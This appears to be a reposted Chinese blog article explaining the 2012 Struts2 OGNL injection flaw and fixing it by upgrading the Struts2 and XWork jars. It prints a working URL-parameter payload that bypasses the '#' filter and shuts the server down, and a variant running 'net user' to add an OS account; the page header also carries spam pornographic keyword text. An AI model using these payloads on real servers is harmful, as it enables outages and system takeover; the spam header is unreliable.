乡下人产国偷v产偷v自拍,国产午夜片在线观看,婷婷成人亚洲综合国产麻豆,久久综合给合久久狠狠狠9

  • <output id="e9wm2"></output>
    <s id="e9wm2"><nobr id="e9wm2"><ins id="e9wm2"></ins></nobr></s>

    • 分享

      struts2漏洞原理及解決辦法

       dna26 2013-07-18
      struts2漏洞原理及解決辦法
      2012-09-13 13:20:57     我來(lái)說(shuō)兩句       作者:姜昆鵬
      收藏   我要投稿

      1、原理

      Struts2的核心是使用的webwork框架,處理 action時(shí)通過(guò)調(diào)用底層的getter/setter方法來(lái)處理http的參數(shù),它將每個(gè)http參數(shù)聲明為一個(gè)ONGL(這里是ONGL的介紹)語(yǔ)句。當(dāng)我們提交一個(gè)http參數(shù):

      user.address.city=Bishkek&user['favoriteDrink']=kumys 
      ONGL將它轉(zhuǎn)換為:
      action.getUser().getAddress().setCity("Bishkek")  
      action.getUser().setFavoriteDrink("kumys") 

      這是通過(guò)ParametersInterceptor(參數(shù)過(guò)濾器)來(lái)執(zhí)行的,使用用戶提供的HTTP參數(shù)調(diào)用 ValueStack.setValue()。 www.

      為了防范篡改服務(wù)器端對(duì)象,XWork的ParametersInterceptor不允許參數(shù)名中出現(xiàn)“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過(guò)保護(hù),修改保護(hù)Java方式執(zhí)行的值:

       


      此處代碼有破壞性,請(qǐng)?jiān)跍y(cè)試環(huán)境執(zhí)行,嚴(yán)禁用此種方法進(jìn)行惡意攻擊
      ('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

       


      轉(zhuǎn)義后是這樣:

      ('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

       


      OGNL處理時(shí)最終的結(jié)果就是

      java.lang.Runtime.getRuntime().exit(1);  //關(guān)閉程序,即將web程序關(guān)閉

      類似的可以執(zhí)行
      java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增加操作系統(tǒng)用戶,在有權(quán)限的情況下能成功(在URL中用%20替換空格,%2F替換/)
      只要有權(quán)限就可以執(zhí)行任何DOS命令。

      2、解決方法
      網(wǎng)上很多文章都介紹了三種解決方法,個(gè)人覺(jué)得將struts2的jar包更新到最新版本最簡(jiǎn)單,不用更改任何程序代碼,目前最新版本2.3.4
      下載到的更新包中有很多jar包,我系統(tǒng)中主要用到以下幾個(gè)替換掉舊版本的:
      commons-lang3-3.1.jar        (保留commons-lang-2.6.jar)
      javassist-3.11.0.GA.jar        (新加包)
      ognl-3.0.5.jar            (替換舊版本)
      struts2-core-2.3.4.1.jar    (替換舊版本)
      xwork-core-2.3.4.1.jar        (替換舊版本)

        本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,所有內(nèi)容均由用戶發(fā)布,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式、誘導(dǎo)購(gòu)買等信息,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請(qǐng)點(diǎn)擊一鍵舉報(bào)。
        轉(zhuǎn)藏 分享 獻(xiàn)花(0

        0條評(píng)論

        發(fā)表

        請(qǐng)遵守用戶 評(píng)論公約

        類似文章 更多